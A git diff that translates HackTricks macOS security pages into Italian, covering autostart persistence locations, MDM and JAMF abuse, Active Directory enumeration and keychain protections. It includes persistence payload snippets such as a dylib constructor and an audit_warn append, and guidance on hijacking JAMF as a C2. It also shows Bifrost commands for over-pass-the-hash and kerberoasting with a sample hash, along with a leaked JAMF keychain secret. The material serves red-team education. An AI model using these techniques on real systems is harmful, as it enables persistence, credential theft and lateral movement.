compiled moduled will be loaded by Apache. The only thing is that either you need to **sign it with a valid Apple certificate**, or you need to **add a new trusted certificate** in the system and **sign it** with it. - -Then, if needed , to make sure the server will be started you could execute: - +Poi, se necessario, per assicurarti che il server venga avviato, potresti eseguire: ```bash sudo launchctl load -w /System/Library/LaunchDaemons/org.apache.httpd.plist ``` - -Code example for the Dylb: - +Esempio di codice per il Dylb: ```objectivec #include #include @@ -1519,137 +1401,127 @@ Code example for the Dylb: __attribute__((constructor)) static void myconstructor(int argc, const char **argv) { - printf("[+] dylib constructor called from %s\n", argv[0]); - syslog(LOG_ERR, "[+] dylib constructor called from %s\n", argv[0]); +printf("[+] dylib constructor called from %s\n", argv[0]); +syslog(LOG_ERR, "[+] dylib constructor called from %s\n", argv[0]); } ``` - ### BSM audit framework Writeup: [https://theevilbit.github.io/beyond/beyond_0031/](https://theevilbit.github.io/beyond/beyond_0031/) -- Useful to bypass sandbox: [🟠](https://emojipedia.org/large-orange-circle) - - But you need to be root, auditd be running and cause a warning -- TCC bypass: [🔴](https://emojipedia.org/large-red-circle) +- Utile per bypassare il sandbox: [🟠](https://emojipedia.org/large-orange-circle) +- Ma è necessario essere root, auditd deve essere in esecuzione e causare un avviso +- Bypass TCC: [🔴](https://emojipedia.org/large-red-circle) #### Location - **`/etc/security/audit_warn`** - - Root required - - **Trigger**: When auditd detects a warning +- Richiesta root +- **Trigger**: Quando auditd rileva un avviso #### Description & Exploit -Whenever auditd detects a warning the script **`/etc/security/audit_warn`** is **executed**. So you could add your payload on it. - +Ogni volta che auditd rileva un avviso, lo script **`/etc/security/audit_warn`** viene **eseguito**. Quindi potresti aggiungere il tuo payload su di esso. ```bash echo "touch /tmp/auditd_warn" >> /etc/security/audit_warn ``` +Potresti forzare un avviso con `sudo audit -n`. -You could force a warning with `sudo audit -n`. +### Elementi di Avvio -### Startup Items +> [!CAUTION] > **Questo è deprecato, quindi non dovrebbe essere trovato nulla in quelle directory.** -> [!CAUTION] > **This is deprecated, so nothing should be found in those directories.** +L'**StartupItem** è una directory che dovrebbe essere posizionata all'interno di `/Library/StartupItems/` o `/System/Library/StartupItems/`. Una volta che questa directory è stabilita, deve contenere due file specifici: -The **StartupItem** is a directory that should be positioned within either `/Library/StartupItems/` or `/System/Library/StartupItems/`. Once this directory is established, it must encompass two specific files: +1. Uno **script rc**: Uno script shell eseguito all'avvio. +2. Un **file plist**, specificamente chiamato `StartupParameters.plist`, che contiene varie impostazioni di configurazione. -1. An **rc script**: A shell script executed at startup. -2. A **plist file**, specifically named `StartupParameters.plist`, which contains various configuration settings. - -Ensure that both the rc script and the `StartupParameters.plist` file are correctly placed inside the **StartupItem** directory for the startup process to recognize and utilize them. +Assicurati che sia lo script rc che il file `StartupParameters.plist` siano correttamente posizionati all'interno della directory **StartupItem** affinché il processo di avvio possa riconoscerli e utilizzarli. {{#tabs}} {{#tab name="StartupParameters.plist"}} - ```xml - Description - This is a description of this service - OrderPreference - None - Provides - - superservicename - +Description +This is a description of this service +OrderPreference +None +Provides + +superservicename + ``` - {{#endtab}} {{#tab name="superservicename"}} - ```bash #!/bin/sh . /etc/rc.common StartService(){ - touch /tmp/superservicestarted +touch /tmp/superservicestarted } StopService(){ - rm /tmp/superservicestarted +rm /tmp/superservicestarted } RestartService(){ - echo "Restarting" +echo "Restarting" } RunService "$1" ``` - {{#endtab}} {{#endtabs}} ### ~~emond~~ > [!CAUTION] -> I cannot find this component in my macOS so for more info check the writeup +> Non riesco a trovare questo componente nel mio macOS, quindi per ulteriori informazioni controlla il writeup Writeup: [https://theevilbit.github.io/beyond/beyond_0023/](https://theevilbit.github.io/beyond/beyond_0023/) -Introduced by Apple, **emond** is a logging mechanism that seems to be underdeveloped or possibly abandoned, yet it remains accessible. While not particularly beneficial for a Mac administrator, this obscure service could serve as a subtle persistence method for threat actors, likely unnoticed by most macOS admins. - -For those aware of its existence, identifying any malicious usage of **emond** is straightforward. The system's LaunchDaemon for this service seeks scripts to execute in a single directory. To inspect this, the following command can be used: +Introdotto da Apple, **emond** è un meccanismo di registrazione che sembra essere poco sviluppato o possibilmente abbandonato, eppure rimane accessibile. Sebbene non sia particolarmente utile per un amministratore Mac, questo servizio oscuro potrebbe servire come un metodo di persistenza sottile per gli attori delle minacce, probabilmente inosservato dalla maggior parte degli amministratori macOS. +Per coloro che sono a conoscenza della sua esistenza, identificare qualsiasi uso malevolo di **emond** è semplice. Il LaunchDaemon del sistema per questo servizio cerca script da eseguire in una singola directory. Per ispezionare questo, si può utilizzare il seguente comando: ```bash ls -l /private/var/db/emondClients ``` - ### ~~XQuartz~~ Writeup: [https://theevilbit.github.io/beyond/beyond_0018/](https://theevilbit.github.io/beyond/beyond_0018/) -#### Location +#### Posizione - **`/opt/X11/etc/X11/xinit/privileged_startx.d`** - - Root required - - **Trigger**: With XQuartz +- Richiesta di root +- **Attivazione**: Con XQuartz -#### Description & Exploit +#### Descrizione & Sfruttamento -XQuartz is **no longer installed in macOS**, so if you want more info check the writeup. +XQuartz **non è più installato in macOS**, quindi se vuoi ulteriori informazioni controlla il writeup. ### ~~kext~~ > [!CAUTION] -> It's so complicated to install kext even as root taht I won't consider this to escape from sandboxes or even for persistence (unless you have an exploit) +> È così complicato installare kext anche come root che non lo considererò per sfuggire dalle sandbox o anche per persistenza (a meno che tu non abbia un exploit) -#### Location +#### Posizione -In order to install a KEXT as a startup item, it needs to be **installed in one of the following locations**: +Per installare un KEXT come elemento di avvio, deve essere **installato in una delle seguenti posizioni**: - `/System/Library/Extensions` - - KEXT files built into the OS X operating system. +- File KEXT integrati nel sistema operativo OS X. - `/Library/Extensions` - - KEXT files installed by 3rd party software - -You can list currently loaded kext files with: +- File KEXT installati da software di terze parti +Puoi elencare i file kext attualmente caricati con: ```bash kextstat #List loaded kext kextload /path/to/kext.kext #Load a new one based on path @@ -1657,44 +1529,42 @@ kextload -b com.apple.driver.ExampleBundle #Load a new one based on path kextunload /path/to/kext.kext kextunload -b com.apple.driver.ExampleBundle ``` - -For more information about [**kernel extensions check this section**](macos-security-and-privilege-escalation/mac-os-architecture/#i-o-kit-drivers). +Per ulteriori informazioni su [**le estensioni del kernel controlla questa sezione**](macos-security-and-privilege-escalation/mac-os-architecture/#i-o-kit-drivers). ### ~~amstoold~~ -Writeup: [https://theevilbit.github.io/beyond/beyond_0029/](https://theevilbit.github.io/beyond/beyond_0029/) +Scrittura: [https://theevilbit.github.io/beyond/beyond_0029/](https://theevilbit.github.io/beyond/beyond_0029/) -#### Location +#### Posizione - **`/usr/local/bin/amstoold`** - - Root required +- Richiesta di root -#### Description & Exploitation +#### Descrizione & Sfruttamento -Apparently the `plist` from `/System/Library/LaunchAgents/com.apple.amstoold.plist` was using this binary while exposing a XPC service... the thing is that the binary didn't exist, so you could place something there and when the XPC service gets called your binary will be called. +A quanto pare il `plist` di `/System/Library/LaunchAgents/com.apple.amstoold.plist` stava usando questo binario mentre esponeva un servizio XPC... il problema è che il binario non esisteva, quindi potevi mettere qualcosa lì e quando il servizio XPC veniva chiamato, il tuo binario sarebbe stato chiamato. -I can no longer find this in my macOS. +Non riesco più a trovare questo nel mio macOS. ### ~~xsanctl~~ -Writeup: [https://theevilbit.github.io/beyond/beyond_0015/](https://theevilbit.github.io/beyond/beyond_0015/) +Scrittura: [https://theevilbit.github.io/beyond/beyond_0015/](https://theevilbit.github.io/beyond/beyond_0015/) -#### Location +#### Posizione - **`/Library/Preferences/Xsan/.xsanrc`** - - Root required - - **Trigger**: When the service is run (rarely) +- Richiesta di root +- **Attivazione**: Quando il servizio viene eseguito (raramente) -#### Description & exploit +#### Descrizione & sfruttamento -Apparently it's not very common to run this script and I couldn't even find it in my macOS, so if you want more info check the writeup. +A quanto pare non è molto comune eseguire questo script e non sono riuscito nemmeno a trovarlo nel mio macOS, quindi se vuoi ulteriori informazioni controlla la scrittura. ### ~~/etc/rc.common~~ -> [!CAUTION] > **This isn't working in modern MacOS versions** - -It's also possible to place here **commands that will be executed at startup.** Example os regular rc.common script: +> [!CAUTION] > **Questo non funziona nelle versioni moderne di MacOS** +È anche possibile inserire qui **comandi che verranno eseguiti all'avvio.** Esempio di script rc.common regolare: ```bash # # Common setup for startup scripts. @@ -1734,16 +1604,16 @@ PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/libexec:/System/Library/CoreServices; ex # CheckForNetwork() { - local test +local test - if [ -z "${NETWORKUP:=}" ]; then - test=$(ifconfig -a inet 2>/dev/null | sed -n -e '/127.0.0.1/d' -e '/0.0.0.0/d' -e '/inet/p' | wc -l) - if [ "${test}" -gt 0 ]; then - NETWORKUP="-YES-" - else - NETWORKUP="-NO-" - fi - fi +if [ -z "${NETWORKUP:=}" ]; then +test=$(ifconfig -a inet 2>/dev/null | sed -n -e '/127.0.0.1/d' -e '/0.0.0.0/d' -e '/inet/p' | wc -l) +if [ "${test}" -gt 0 ]; then +NETWORKUP="-YES-" +else +NETWORKUP="-NO-" +fi +fi } alias ConsoleMessage=echo @@ -1753,25 +1623,25 @@ alias ConsoleMessage=echo # GetPID () { - local program="$1" - local pidfile="${PIDFILE:=/var/run/${program}.pid}" - local pid="" +local program="$1" +local pidfile="${PIDFILE:=/var/run/${program}.pid}" +local pid="" - if [ -f "${pidfile}" ]; then - pid=$(head -1 "${pidfile}") - if ! kill -0 "${pid}" 2> /dev/null; then - echo "Bad pid file $pidfile; deleting." - pid="" - rm -f "${pidfile}" - fi - fi +if [ -f "${pidfile}" ]; then +pid=$(head -1 "${pidfile}") +if ! kill -0 "${pid}" 2> /dev/null; then +echo "Bad pid file $pidfile; deleting." +pid="" +rm -f "${pidfile}" +fi +fi - if [ -n "${pid}" ]; then - echo "${pid}" - return 0 - else - return 1 - fi +if [ -n "${pid}" ]; then +echo "${pid}" +return 0 +else +return 1 +fi } # @@ -1779,16 +1649,15 @@ GetPID () # RunService () { - case $1 in - start ) StartService ;; - stop ) StopService ;; - restart) RestartService ;; - * ) echo "$0: unknown argument: $1";; - esac +case $1 in +start ) StartService ;; +stop ) StopService ;; +restart) RestartService ;; +* ) echo "$0: unknown argument: $1";; +esac } ``` - -## Persistence techniques and tools +## Tecniche e strumenti di persistenza - [https://github.com/cedowens/Persistent-Swift](https://github.com/cedowens/Persistent-Swift) - [https://github.com/D00MFist/PersistentJXA](https://github.com/D00MFist/PersistentJXA) diff --git a/src/macos-hardening/macos-red-teaming/README.md b/src/macos-hardening/macos-red-teaming/README.md index 3701205f8..a6a4181a0 100644 --- a/src/macos-hardening/macos-red-teaming/README.md +++ b/src/macos-hardening/macos-red-teaming/README.md @@ -2,109 +2,98 @@ {{#include ../../banners/hacktricks-training.md}} -
-**Get a hacker's perspective on your web apps, network, and cloud** - -**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports. - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} - -## Abusing MDMs +## Abusare degli MDM - JAMF Pro: `jamf checkJSSConnection` - Kandji -If you manage to **compromise admin credentials** to access the management platform, you can **potentially compromise all the computers** by distributing your malware in the machines. +Se riesci a **compromettere le credenziali di amministratore** per accedere alla piattaforma di gestione, puoi **potenzialmente compromettere tutti i computer** distribuendo il tuo malware nelle macchine. -For red teaming in MacOS environments it's highly recommended to have some understanding of how the MDMs work: +Per il red teaming in ambienti MacOS è altamente raccomandato avere una certa comprensione di come funzionano gli MDM: {{#ref}} macos-mdm/ {{#endref}} -### Using MDM as a C2 +### Utilizzare MDM come C2 -A MDM will have permission to install, query or remove profiles, install applications, create local admin accounts, set firmware password, change the FileVault key... +Un MDM avrà il permesso di installare, interrogare o rimuovere profili, installare applicazioni, creare account admin locali, impostare la password del firmware, cambiare la chiave di FileVault... -In order to run your own MDM you need to **your CSR signed by a vendor** which you could try to get with [**https://mdmcert.download/**](https://mdmcert.download/). And to run your own MDM for Apple devices you could use [**MicroMDM**](https://github.com/micromdm/micromdm). +Per eseguire il tuo MDM devi **far firmare il tuo CSR da un fornitore** che potresti provare a ottenere con [**https://mdmcert.download/**](https://mdmcert.download/). E per eseguire il tuo MDM per dispositivi Apple potresti usare [**MicroMDM**](https://github.com/micromdm/micromdm). -However, to install an application in an enrolled device, you still need it to be signed by a developer account... however, upon MDM enrolment the **device adds the SSL cert of the MDM as a trusted CA**, so you can now sign anything. +Tuttavia, per installare un'applicazione in un dispositivo registrato, hai ancora bisogno che sia firmata da un account sviluppatore... tuttavia, al momento della registrazione MDM, il **dispositivo aggiunge il certificato SSL dell'MDM come CA fidata**, quindi ora puoi firmare qualsiasi cosa. -To enrol the device in a MDM you. need to install a **`mobileconfig`** file as root, which could be delivered via a **pkg** file (you could compress it in zip and when downloaded from safari it will be decompressed). +Per registrare il dispositivo in un MDM, devi installare un file **`mobileconfig`** come root, che potrebbe essere consegnato tramite un file **pkg** (puoi comprimerlo in zip e quando scaricato da safari verrà decompresso). -**Mythic agent Orthrus** uses this technique. +**Mythic agent Orthrus** utilizza questa tecnica. -### Abusing JAMF PRO +### Abusare di JAMF PRO -JAMF can run **custom scripts** (scripts developed by the sysadmin), **native payloads** (local account creation, set EFI password, file/process monitoring...) and **MDM** (device configurations, device certificates...). +JAMF può eseguire **script personalizzati** (script sviluppati dall'amministratore di sistema), **payload nativi** (creazione di account locali, impostazione della password EFI, monitoraggio di file/processi...) e **MDM** (configurazioni del dispositivo, certificati del dispositivo...). -#### JAMF self-enrolment +#### Auto-registrazione JAMF -Go to a page such as `https://.jamfcloud.com/enroll/` to see if they have **self-enrolment enabled**. If they have it might **ask for credentials to access**. +Vai su una pagina come `https://.jamfcloud.com/enroll/` per vedere se hanno **abilitata l'auto-registrazione**. Se ce l'hanno, potrebbe **richiedere credenziali per accedere**. -You could use the script [**JamfSniper.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfSniper.py) to perform a password spraying attack. +Potresti usare lo script [**JamfSniper.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfSniper.py) per eseguire un attacco di password spraying. -Moreover, after finding proper credentials you could be able to brute-force other usernames with the next form: +Inoltre, dopo aver trovato le credenziali corrette, potresti essere in grado di forzare altri nomi utente con il modulo successivo: ![](<../../images/image (107).png>) -#### JAMF device Authentication +#### Autenticazione del dispositivo JAMF
-The **`jamf`** binary contained the secret to open the keychain which at the time of the discovery was **shared** among everybody and it was: **`jk23ucnq91jfu9aj`**.\ -Moreover, jamf **persist** as a **LaunchDaemon** in **`/Library/LaunchAgents/com.jamf.management.agent.plist`** +Il **binary `jamf`** conteneva il segreto per aprire il portachiavi che al momento della scoperta era **condiviso** tra tutti ed era: **`jk23ucnq91jfu9aj`**.\ +Inoltre, jamf **persiste** come un **LaunchDaemon** in **`/Library/LaunchAgents/com.jamf.management.agent.plist`** -#### JAMF Device Takeover - -The **JSS** (Jamf Software Server) **URL** that **`jamf`** will use is located in **`/Library/Preferences/com.jamfsoftware.jamf.plist`**.\ -This file basically contains the URL: +#### Presa di controllo del dispositivo JAMF +L'**URL** del **JSS** (Jamf Software Server) che **`jamf`** utilizzerà si trova in **`/Library/Preferences/com.jamfsoftware.jamf.plist`**.\ +Questo file contiene fondamentalmente l'URL: ```bash plutil -convert xml1 -o - /Library/Preferences/com.jamfsoftware.jamf.plist [...] - is_virtual_machine - - jss_url - https://halbornasd.jamfcloud.com/ - last_management_framework_change_id - 4 +is_virtual_machine + +jss_url +https://halbornasd.jamfcloud.com/ +last_management_framework_change_id +4 [...] ``` - -So, an attacker could drop a malicious package (`pkg`) that **overwrites this file** when installed setting the **URL to a Mythic C2 listener from a Typhon agent** to now be able to abuse JAMF as C2. - +Quindi, un attaccante potrebbe installare un pacchetto malevolo (`pkg`) che **sovrascrive questo file** durante l'installazione impostando l'**URL a un listener Mythic C2 da un agente Typhon** per poter abusare di JAMF come C2. ```bash # After changing the URL you could wait for it to be reloaded or execute: sudo jamf policy -id 0 # TODO: There is an ID, maybe it's possible to have the real jamf connection and another one to the C2 ``` - #### JAMF Impersonation -In order to **impersonate the communication** between a device and JMF you need: +Per **impersonare la comunicazione** tra un dispositivo e JMF hai bisogno di: -- The **UUID** of the device: `ioreg -d2 -c IOPlatformExpertDevice | awk -F" '/IOPlatformUUID/{print $(NF-1)}'` -- The **JAMF keychain** from: `/Library/Application\ Support/Jamf/JAMF.keychain` which contains the device certificate +- Il **UUID** del dispositivo: `ioreg -d2 -c IOPlatformExpertDevice | awk -F" '/IOPlatformUUID/{print $(NF-1)}'` +- Il **keychain JAMF** da: `/Library/Application\ Support/Jamf/JAMF.keychain` che contiene il certificato del dispositivo -With this information, **create a VM** with the **stolen** Hardware **UUID** and with **SIP disabled**, drop the **JAMF keychain,** **hook** the Jamf **agent** and steal its information. +Con queste informazioni, **crea una VM** con il **UUID** Hardware **rubato** e con **SIP disabilitato**, inserisci il **keychain JAMF,** **hook** l'agente Jamf e ruba le sue informazioni. #### Secrets stealing

a

-You could also monitor the location `/Library/Application Support/Jamf/tmp/` for the **custom scripts** admins might want to execute via Jamf as they are **placed here, executed and removed**. These scripts **might contain credentials**. +Puoi anche monitorare la posizione `/Library/Application Support/Jamf/tmp/` per gli **script personalizzati** che gli amministratori potrebbero voler eseguire tramite Jamf poiché sono **posizionati qui, eseguiti e rimossi**. Questi script **potrebbero contenere credenziali**. -However, **credentials** might be passed tho these scripts as **parameters**, so you would need to monitor `ps aux | grep -i jamf` (without even being root). +Tuttavia, le **credenziali** potrebbero essere passate a questi script come **parametri**, quindi dovresti monitorare `ps aux | grep -i jamf` (senza nemmeno essere root). -The script [**JamfExplorer.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfExplorer.py) can listen for new files being added and new process arguments. +Lo script [**JamfExplorer.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfExplorer.py) può ascoltare nuovi file aggiunti e nuovi argomenti di processo. ### macOS Remote Access -And also about **MacOS** "special" **network** **protocols**: +E anche riguardo ai **protocollo** **di rete** "speciali" di **MacOS**: {{#ref}} ../macos-security-and-privilege-escalation/macos-protocols.md @@ -112,7 +101,7 @@ And also about **MacOS** "special" **network** **protocols**: ## Active Directory -In some occasions you will find that the **MacOS computer is connected to an AD**. In this scenario you should try to **enumerate** the active directory as you are use to it. Find some **help** in the following pages: +In alcune occasioni scoprirai che il **computer MacOS è connesso a un AD**. In questo scenario dovresti cercare di **enumerare** l'active directory come sei abituato a fare. Trova qualche **aiuto** nelle seguenti pagine: {{#ref}} ../../network-services-pentesting/pentesting-ldap.md @@ -126,41 +115,36 @@ In some occasions you will find that the **MacOS computer is connected to an AD* ../../network-services-pentesting/pentesting-kerberos-88/ {{#endref}} -Some **local MacOS tool** that may also help you is `dscl`: - +Alcuni **strumenti locali di MacOS** che potrebbero anche aiutarti sono `dscl`: ```bash dscl "/Active Directory/[Domain]/All Domains" ls / ``` +Inoltre, ci sono alcuni strumenti preparati per MacOS per enumerare automaticamente l'AD e interagire con kerberos: -Also there are some tools prepared for MacOS to automatically enumerate the AD and play with kerberos: - -- [**Machound**](https://github.com/XMCyber/MacHound): MacHound is an extension to the Bloodhound audting tool allowing collecting and ingesting of Active Directory relationships on MacOS hosts. -- [**Bifrost**](https://github.com/its-a-feature/bifrost): Bifrost is an Objective-C project designed to interact with the Heimdal krb5 APIs on macOS. The goal of the project is to enable better security testing around Kerberos on macOS devices using native APIs without requiring any other framework or packages on the target. -- [**Orchard**](https://github.com/its-a-feature/Orchard): JavaScript for Automation (JXA) tool to do Active Directory enumeration. - -### Domain Information +- [**Machound**](https://github.com/XMCyber/MacHound): MacHound è un'estensione dello strumento di auditing Bloodhound che consente di raccogliere e ingerire le relazioni di Active Directory sugli host MacOS. +- [**Bifrost**](https://github.com/its-a-feature/bifrost): Bifrost è un progetto Objective-C progettato per interagire con le API Heimdal krb5 su macOS. L'obiettivo del progetto è abilitare test di sicurezza migliori attorno a Kerberos sui dispositivi macOS utilizzando API native senza richiedere alcun altro framework o pacchetti sul target. +- [**Orchard**](https://github.com/its-a-feature/Orchard): Strumento JavaScript per l'automazione (JXA) per fare enumerazione di Active Directory. +### Informazioni sul Dominio ```bash echo show com.apple.opendirectoryd.ActiveDirectory | scutil ``` +### Utenti -### Users +I tre tipi di utenti MacOS sono: -The three types of MacOS users are: +- **Utenti Locali** — Gestiti dal servizio OpenDirectory locale, non sono collegati in alcun modo all'Active Directory. +- **Utenti di Rete** — Utenti Active Directory volatili che richiedono una connessione al server DC per autenticarsi. +- **Utenti Mobili** — Utenti Active Directory con un backup locale per le loro credenziali e file. -- **Local Users** — Managed by the local OpenDirectory service, they aren’t connected in any way to the Active Directory. -- **Network Users** — Volatile Active Directory users who require a connection to the DC server to authenticate. -- **Mobile Users** — Active Directory users with a local backup for their credentials and files. +Le informazioni locali sugli utenti e sui gruppi sono memorizzate nella cartella _/var/db/dslocal/nodes/Default._\ +Ad esempio, le informazioni sull'utente chiamato _mark_ sono memorizzate in _/var/db/dslocal/nodes/Default/users/mark.plist_ e le informazioni sul gruppo _admin_ sono in _/var/db/dslocal/nodes/Default/groups/admin.plist_. -The local information about users and groups is stored in in the folder _/var/db/dslocal/nodes/Default._\ -For example, the info about user called _mark_ is stored in _/var/db/dslocal/nodes/Default/users/mark.plist_ and the info about the group _admin_ is in _/var/db/dslocal/nodes/Default/groups/admin.plist_. - -In addition to using the HasSession and AdminTo edges, **MacHound adds three new edges** to the Bloodhound database: - -- **CanSSH** - entity allowed to SSH to host -- **CanVNC** - entity allowed to VNC to host -- **CanAE** - entity allowed to execute AppleEvent scripts on host +Oltre a utilizzare i bordi HasSession e AdminTo, **MacHound aggiunge tre nuovi bordi** al database Bloodhound: +- **CanSSH** - entità autorizzata a SSH verso l'host +- **CanVNC** - entità autorizzata a VNC verso l'host +- **CanAE** - entità autorizzata a eseguire script AppleEvent sull'host ```bash #User enumeration dscl . ls /Users @@ -182,71 +166,60 @@ dscl "/Active Directory/TEST/All Domains" read "/Groups/[groupname]" #Domain Information dsconfigad -show ``` - -More info in [https://its-a-feature.github.io/posts/2018/01/Active-Directory-Discovery-with-a-Mac/](https://its-a-feature.github.io/posts/2018/01/Active-Directory-Discovery-with-a-Mac/) +Maggiore informazione in [https://its-a-feature.github.io/posts/2018/01/Active-Directory-Discovery-with-a-Mac/](https://its-a-feature.github.io/posts/2018/01/Active-Directory-Discovery-with-a-Mac/) ### Computer$ password -Get passwords using: - +Ottieni le password usando: ```bash bifrost --action askhash --username [name] --password [password] --domain [domain] ``` - -It's possible to access the **`Computer$`** password inside the System keychain. +È possibile accedere alla password **`Computer$`** all'interno del portachiavi di sistema. ### Over-Pass-The-Hash -Get a TGT for an specific user and service: - +Ottieni un TGT per un utente e un servizio specifici: ```bash bifrost --action asktgt --username [user] --domain [domain.com] \ - --hash [hash] --enctype [enctype] --keytab [/path/to/keytab] +--hash [hash] --enctype [enctype] --keytab [/path/to/keytab] ``` - -Once the TGT is gathered, it's possible to inject it in the current session with: - +Una volta raccolto il TGT, è possibile iniettarlo nella sessione corrente con: ```bash bifrost --action asktgt --username test_lab_admin \ - --hash CF59D3256B62EE655F6430B0F80701EE05A0885B8B52E9C2480154AFA62E78 \ - --enctype aes256 --domain test.lab.local +--hash CF59D3256B62EE655F6430B0F80701EE05A0885B8B52E9C2480154AFA62E78 \ +--enctype aes256 --domain test.lab.local ``` - ### Kerberoasting - ```bash bifrost --action asktgs --spn [service] --domain [domain.com] \ - --username [user] --hash [hash] --enctype [enctype] +--username [user] --hash [hash] --enctype [enctype] ``` - -With obtained service tickets it's possible to try to access shares in other computers: - +Con i ticket di servizio ottenuti è possibile provare ad accedere alle condivisioni in altri computer: ```bash smbutil view //computer.fqdn mount -t smbfs //server/folder /local/mount/point ``` +## Accesso al Portachiavi -## Accessing the Keychain - -The Keychain highly probably contains sensitive information that if accessed without generating a prompt could help to move forward a red team exercise: +Il Portachiavi contiene probabilmente informazioni sensibili che, se accessibili senza generare un prompt, potrebbero aiutare a portare avanti un esercizio di red team: {{#ref}} macos-keychain.md {{#endref}} -## External Services +## Servizi Esterni -MacOS Red Teaming is different from a regular Windows Red Teaming as usually **MacOS is integrated with several external platforms directly**. A common configuration of MacOS is to access to the computer using **OneLogin synchronised credentials, and accessing several external services** (like github, aws...) via OneLogin. +Il Red Teaming su MacOS è diverso dal Red Teaming su Windows regolare poiché di solito **MacOS è integrato con diverse piattaforme esterne direttamente**. Una configurazione comune di MacOS è accedere al computer utilizzando **credenziali sincronizzate di OneLogin e accedere a diversi servizi esterni** (come github, aws...) tramite OneLogin. -## Misc Red Team techniques +## Tecniche Misc del Red Team ### Safari -When a file is downloaded in Safari, if its a "safe" file, it will be **automatically opened**. So for example, if you **download a zip**, it will be automatically decompressed: +Quando un file viene scaricato in Safari, se è un file "sicuro", verrà **aperto automaticamente**. Quindi, ad esempio, se **scarichi un zip**, verrà automaticamente decompresso:
-## References +## Riferimenti - [**https://www.youtube.com/watch?v=IiMladUbL6E**](https://www.youtube.com/watch?v=IiMladUbL6E) - [**https://medium.com/xm-cyber/introducing-machound-a-solution-to-macos-active-directory-based-attacks-2a425f0a22b6**](https://medium.com/xm-cyber/introducing-machound-a-solution-to-macos-active-directory-based-attacks-2a425f0a22b6) @@ -254,12 +227,5 @@ When a file is downloaded in Safari, if its a "safe" file, it will be **automati - [**Come to the Dark Side, We Have Apples: Turning macOS Management Evil**](https://www.youtube.com/watch?v=pOQOh07eMxY) - [**OBTS v3.0: "An Attackers Perspective on Jamf Configurations" - Luke Roberts / Calum Hall**](https://www.youtube.com/watch?v=ju1IYWUv4ZA) -
- -**Get a hacker's perspective on your web apps, network, and cloud** - -**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports. - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {{#include ../../banners/hacktricks-training.md}} diff --git a/src/macos-hardening/macos-red-teaming/macos-keychain.md b/src/macos-hardening/macos-red-teaming/macos-keychain.md index a6135959d..521bf832e 100644 --- a/src/macos-hardening/macos-red-teaming/macos-keychain.md +++ b/src/macos-hardening/macos-red-teaming/macos-keychain.md @@ -4,60 +4,59 @@ ## Main Keychains -- The **User Keychain** (`~/Library/Keychains/login.keychain-db`), which is used to store **user-specific credentials** like application passwords, internet passwords, user-generated certificates, network passwords, and user-generated public/private keys. -- The **System Keychain** (`/Library/Keychains/System.keychain`), which stores **system-wide credentials** such as WiFi passwords, system root certificates, system private keys, and system application passwords. - - It's possible to find other components like certificates in `/System/Library/Keychains/*` -- In **iOS** there is only one **Keychain** located in `/private/var/Keychains/`. This folder also contains databases for the `TrustStore`, certificates authorities (`caissuercache`) and OSCP entries (`ocspache`). - - Apps will be restricted in the keychain only to their private area based on their application identifier. +- Il **User Keychain** (`~/Library/Keychains/login.keychain-db`), che viene utilizzato per memorizzare **credenziali specifiche dell'utente** come password delle applicazioni, password di internet, certificati generati dall'utente, password di rete e chiavi pubbliche/private generate dall'utente. +- Il **System Keychain** (`/Library/Keychains/System.keychain`), che memorizza **credenziali a livello di sistema** come password WiFi, certificati root di sistema, chiavi private di sistema e password delle applicazioni di sistema. +- È possibile trovare altri componenti come certificati in `/System/Library/Keychains/*` +- In **iOS** c'è solo un **Keychain** situato in `/private/var/Keychains/`. Questa cartella contiene anche database per il `TrustStore`, autorità di certificazione (`caissuercache`) e voci OSCP (`ocspache`). +- Le app saranno limitate nel keychain solo alla loro area privata in base al loro identificatore di applicazione. ### Password Keychain Access -These files, while they do not have inherent protection and can be **downloaded**, are encrypted and require the **user's plaintext password to be decrypted**. A tool like [**Chainbreaker**](https://github.com/n0fate/chainbreaker) could be used for decryption. +Questi file, pur non avendo protezione intrinseca e potendo essere **scaricati**, sono crittografati e richiedono la **password in chiaro dell'utente per essere decrittografati**. Uno strumento come [**Chainbreaker**](https://github.com/n0fate/chainbreaker) potrebbe essere utilizzato per la decrittografia. ## Keychain Entries Protections ### ACLs -Each entry in the keychain is governed by **Access Control Lists (ACLs)** which dictate who can perform various actions on the keychain entry, including: +Ogni voce nel keychain è governata da **Access Control Lists (ACLs)** che determinano chi può eseguire varie azioni sulla voce del keychain, inclusi: -- **ACLAuhtorizationExportClear**: Allows the holder to get the clear text of the secret. -- **ACLAuhtorizationExportWrapped**: Allows the holder to get the clear text encrypted with another provided password. -- **ACLAuhtorizationAny**: Allows the holder to perform any action. +- **ACLAuhtorizationExportClear**: Consente al titolare di ottenere il testo in chiaro del segreto. +- **ACLAuhtorizationExportWrapped**: Consente al titolare di ottenere il testo in chiaro crittografato con un'altra password fornita. +- **ACLAuhtorizationAny**: Consente al titolare di eseguire qualsiasi azione. -The ACLs are further accompanied by a **list of trusted applications** that can perform these actions without prompting. This could be: +Le ACL sono ulteriormente accompagnate da un **elenco di applicazioni fidate** che possono eseguire queste azioni senza richiesta. Questo potrebbe essere: -- **N`il`** (no authorization required, **everyone is trusted**) -- An **empty** list (**nobody** is trusted) -- **List** of specific **applications**. +- **N`il`** (nessuna autorizzazione richiesta, **tutti sono fidati**) +- Un **elenco vuoto** (**nessuno** è fidato) +- **Elenco** di **applicazioni** specifiche. -Also the entry might contain the key **`ACLAuthorizationPartitionID`,** which is use to identify the **teamid, apple,** and **cdhash.** +Inoltre, la voce potrebbe contenere la chiave **`ACLAuthorizationPartitionID`,** che viene utilizzata per identificare il **teamid, apple,** e **cdhash.** -- If the **teamid** is specified, then in order to **access the entry** value **withuot** a **prompt** the used application must have the **same teamid**. -- 